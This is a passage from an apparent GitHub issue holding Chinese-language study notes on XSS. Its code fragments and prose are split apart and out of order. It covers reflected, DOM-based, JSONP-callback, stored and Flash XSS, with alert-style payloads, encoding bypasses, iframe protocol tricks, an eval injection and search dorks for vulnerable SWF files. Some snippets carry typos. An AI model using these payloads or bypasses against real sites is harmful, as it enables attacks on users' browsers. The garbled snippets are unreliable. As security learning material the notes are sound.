Open PyxYuYu opened 7 years ago
A goal is a dream with a deadline.
反射型XSS
XSS
IE6
IE7
DOM型XSS
DOM-based XSS
Document Object Model
DOM
form、referrer、location
JavaScript
location
location.href
location.search
IE
<>
URL
location.hash
location.pathname
window.name
document.cookie
localStorage
document.title
getAttribute
document.referrer
innerText
.value
.dataset
postMessage
\
innerHTML
location='javascript:alert(~1)'
eval
document.write
appendChild
Function
setTimeout
setInterval
createElement
with(document)body.appendChild(createElement('iframe onload=alert(1)>'),body.innerHTML+="(IE)
<div id="a">xxx</div> <script> document.getElementById("a").innerHTML="yyyy"; </script>
innerHTML="[输出]"
JS
a
[输出]
<img src=1 onerror=alter(1)>
<script>alert(1)</script>
<script defer>alert(1)</script>
<
\u003c、\x3c
>
\u003e、\x3e
\u0020
Payload
\x3cimg\u0020src=1\u0020onerror=alert(1)\x3e
HTML
jQuery
$("#x").html("yyyy")
var x=location.href;
x
function getParam(name){ var x = locaton.search; //或者是 location.hash var v = x.match(new RegExp("[?&#]"+name+"=([^&]*)","")); return v?v[1]:""; }
name
<div id="nick">加载中...</div> <script> var a = getParam("name"); // 获取地址栏里的name参数值 document.getElementById("nick").innerHTML = a; </script>
<img src=1 oneror=alert(1)>
getParam
Fuzz
F12
Chrome
"、>、<
%22、%3c、%3e
显示输出
隐式输出
var getarg = function() { var url = window.location.href; var allargs = url.split("?")[1]; if (allargs!=null && allargs.index0f("=")>0) { var args = allargs.split("&"); for(var i=0; i<args.length; i++) { var arg = args[i].split("="); eval('this.'+arg[0]+'="'+arg[1]+'";'); } } }
arg[0]
arg[1]
eval('this.a="bbb";')
"bbb"
eval('this.a;alert(1);//="bbb";') // 需要加上等号,因为上面的代码逻辑是根据等号来分割,注释掉后面即可 // arg[0] 为 a;alert(1);// // www.xxx.com/1.html?a;alert(1);//=bbb
eval('this.a="bbb";alert(1);//"') // " 是代码后面加上的,所以这里需要自己闭合前面的双引号,后面的双引号可以注释掉 // www.xxx.com/1.html?a=bbb";alert(1);//
iframe
<iframe src="[输出]"></iframe>
src
[路径可控]
onload
<iframe onload="alert(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
vbscript
<iframe src="vbscript:msgbox(1)"></iframe>
data
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> // 转义 <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
srcdoc
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe src="[参数]"></iframe>
function OpenFrame(url) { if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false; document.getElementById("toolframe").src = url; }
http://
https://
javescript:
document.getElementById("toolframe").src = url;
url
'
//
http://www.xxx.com/1.html?url=vbscript:msgbox(1)'&gid=yl
http://www.xxx.com/1.html?url=data:text/html,<script>alert(1)</script>//
路径con
AJAX
json
JSONP
somescript.src="http://otherdomain.com/xx?jsonp=callback"
somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;
JSON
JSON with Padding
XmlHttpRequest
script
Web
script、img、 iframe
callback
script src="[完全可控]"
script src="/path/xxx/[路径可控]/1.js"
script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"
script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]"
< > ,
http://xxx.xxx.com/comm.json?callback=alert(1);
param=xx
param=xx&callback=alert(1);
&
%26
comm_json
var keyword = decodeURIComp($getQuery('keyword')),
decodeURIComp
http://yyy.xxx.com/1.html?keyword=1%26callback=alert(1);&PTAG=2005.13.1
<、>、"、'
Unicode
存储型XSS
POST/GET
FlashXSS
Flash
ActionScript
2.0
3.0
Google
site:xx.com filetype:swf inurl:下面的关键词
swfupload
jwplayer
upload
player
music
video
xml
php
cb
function
getURL
navigateToURL
ExternalInterface.call
0x01 XSS
反射型XSS
XSS
代码,服务器中没有这样的页面和内容XSS
过滤器(测试一般用IE6
或IE7
,或者更高级的手动关闭XSS
筛选),所以常规的反射型XSS
一般会被过滤,需要绕过XSS
时,通常可以在服务器段对传入的参数进行过滤,来防范这类攻击DOM型XSS
DOM-based XSS
是基于文档对象模型Document Object Model
的一种漏洞DOM
是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问或更新文档内容、结构、样式,处理后的结果能够成为显示页面的一部分DOM
中有很多对象,其中一些是用户可以操纵的,比如form、referrer、location
等JavaScript
)可以通过DOM
动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM
中的数据在本地执行DOM
中的数据没有经过严格确认,就会产生DOM-based XSS
漏洞DOM型XSS
输入点(即可能之后导致发生XSS
的前提)--JavaScript
location
location.href
location.search
IE
没有将<>
进行URL
编码location.hash
location.pathname
window.name
document.cookie
localStorage
document.title
getAttribute
document.referrer
innerText
.value
.dataset
postMessage
\
绕过初始检测innerHTML
DOM型XSS
触发点(即可插入XSS
代码处) --JavaScript
location
location='javascript:alert(~1)'
eval
innerHTML
document.write
appendChild
Function
setTimeout
setInterval
createElement
URL
提交后,右键查看源代码可以看到输出的内容innerHTML
innerHTML="[输出]"
,可以通过JS
脚本改变a
的值[输出]
这里只能使用<img src=1 onerror=alter(1)>
这种方式来触发JS
<script>alert(1)</script>
来触发IE
下可以使用<script defer>alert(1)</script>
<
被过滤的话,可以使用\u003c、\x3c
代替>
被过滤的话,可以使用\u003e、\x3e
代替\u0020
代替Payload
可以写成\x3cimg\u0020src=1\u0020onerror=alert(1)\x3e
innerHTML
只要与改变页面HTML
内容相关的操作,都可能导致这种问题JS
,一些使用了第三方库,譬如jQuery
也会:$("#x").html("yyyy")
JavaScript
代码中var x=location.href;
JavaScript
进行了一个隐藏的输出操作,将location.href
的内容输出到了变量x
location.href
URL
中name
参数后的参数值的方法a
改写成<img src=1 oneror=alert(1)>
即可触发XSS
,a
就是从getParam
函数通过name
参数获得的参数值Fuzz
步骤F12
调试工具,搜索输出HTML
代码,进行构造,注意闭合,注意过滤的情况JavaScript
代码,寻找对应的函数,分析函数,是否进行了过滤,编码,解码,如果先编码,后解码,就等同于没有过滤Chrome
浏览器会自动对"、>、<
进行转义成%22、%3c、%3e
,IE
不会eval
显示输出
和隐式输出
最终JavaScript
都会通过document.write
或innerHTML
将内容输出到网页中,所以总是有办法可以查看到输出到哪里,但是如果没有通过它们,而是通过函数,利用eval
来进行输出,就无法通过源代码或者F12
调试工具查找URL
,之后将参数分割,分割后执行eval
arg[0]
或者arg[1]
可控的话,就可以插入XSS
代码,导致漏洞产生eval
应该执行arg[0]
就是a
,arg[1]
就是"bbb"
arg[0]
构造XSS
,即arg[1]
构造XSS
,即arg[1]
这里自己闭合了双引号,在Chrome
中双引号会被主动过滤,所以只有在IE
下才会成功iframe
<iframe src="[输出]"></iframe>
iframe
的src
属性本来应该是一个网站,但是iframe
可以使它同样可以执行JavaScript
,而且可以使用不同的姿势来执行,这一类问题,可以归为[路径可控]
问题onload
执行JS
src
执行JS
IE
下src
执行vbscript
Chrome
下src
执行data
协议Chrome
下srcdoc
执行JS
Fuzz
步骤F12
调试工具,查看有无可见输出<iframe src="[参数]"></iframe>
之中http://
https://
javescript:
document.getElementById("toolframe").src = url;
这里导致了执行XSS
url
参数可控制,过滤不完善,所以IE
下,可以使用vbscript
来执行代码,vbscript
中'
单引号表示注释,类似JS
中的//
Chrome
下,可以使用data
协议来执行JS
路径con
AJAX
动态地加载json
数据,而有时候,数据所在域和当前页面所在域不同,所以需要跨域请求,跨域请求数据中,有一种方法叫做JSONP
XSS
JSON
是一种基于文本的数据交换格式,或者称为数据描述格式JSON
只有两种数据类型描述符,大括号和方括号,其余冒号是映射符,逗号是分隔符,双引号是定义符,对象表示为键值对JSONP
(JSON with Padding
)JSONP
是JSON
的一种使用模式,可以让网页从别的域名获取资料,即跨域读取数据XmlHttpRequest
只允许请求当前源(域名、协议、端口)的资源,为了实现跨域请求,可以通过script
标签实现跨域请求,然后在服务端输出JSON
数据并执行回调函数,从而解决跨域的数据请求Web
页面上调用JS
文件不受是否跨域的影响,不仅如此,凡是拥有src
这个属性的标签都拥有跨域的能力,比如script、img、 iframe
JSONP
协议允许用户传递一个callback
参数给服务端,然后服务端返回数据时会将这个callback
参数作为函数名来包裹住JSON
数据,这样客户端可以随意定制自己的函数来处理返回的数据(动态执行回调函数)src
地址可控可以分为三种script src="[完全可控]"
JS
地址script src="/path/xxx/[路径可控]/1.js"
HTML
文件,需要上传点有过滤缺陷JSON
接口script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"
script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]"
JSON
的参数没有做好过滤,就可以导致XSS
Fuzz
步骤F12
调试工具,刷新查看是否有加载外部JS
文件URL
中参数值,查看是否有参数被传入到外部JS
文件中JS
文件地址,修改地址内参数,查看哪些参数可控< > ,
callback
参数可控,且未被双引号包裹,所以这里可以构造JS
文件即可导致XSS
callback
参数可以从之前探测出的传入到外部JS
文件中的参数一起带入URL
中的参数param=xx
修改为param=xx&callback=alert(1);
覆盖掉外部JS
文件中的callback
&
也可以写成%26
comm_json
接口decodeURIComp
解码,即&
会变成%26
,便不是连接符了%26
即:DOM型XSS
总结<、>、"、'
DOM型XSS
的触发点Unicode
编码替换(此处需要\
未被过滤)Payload
存储型XSS
POST/GET
请求Fuzz
思路存储型XSS
成功HTML
代码,为了在用户体验和安全之间寻找平衡,一般有两种方法HTML
标签HTML
标签、属性列表,通过分析用户提交的HTML
代码,去除其中有害的部分XSS
代码,提交修改后的数据包,查看XSS
代码是否被过滤FlashXSS
Flash
的ActionScript
脚本目前网络上存在两种版本,即2.0
和3.0
Google
搜索site:xx.com filetype:swf inurl:下面的关键词
Flash
文件名或参数名:如swfupload
、jwplayer
等Flash
文件名:如upload
、player
、music
、video
等xml
、php
等callback
、cb
、function
等Flash
缺陷参数Flash
提供相关的函数,可以执行JS
代码getURL
(AS2)navigateToURL
(AS3)ExternalInterface.call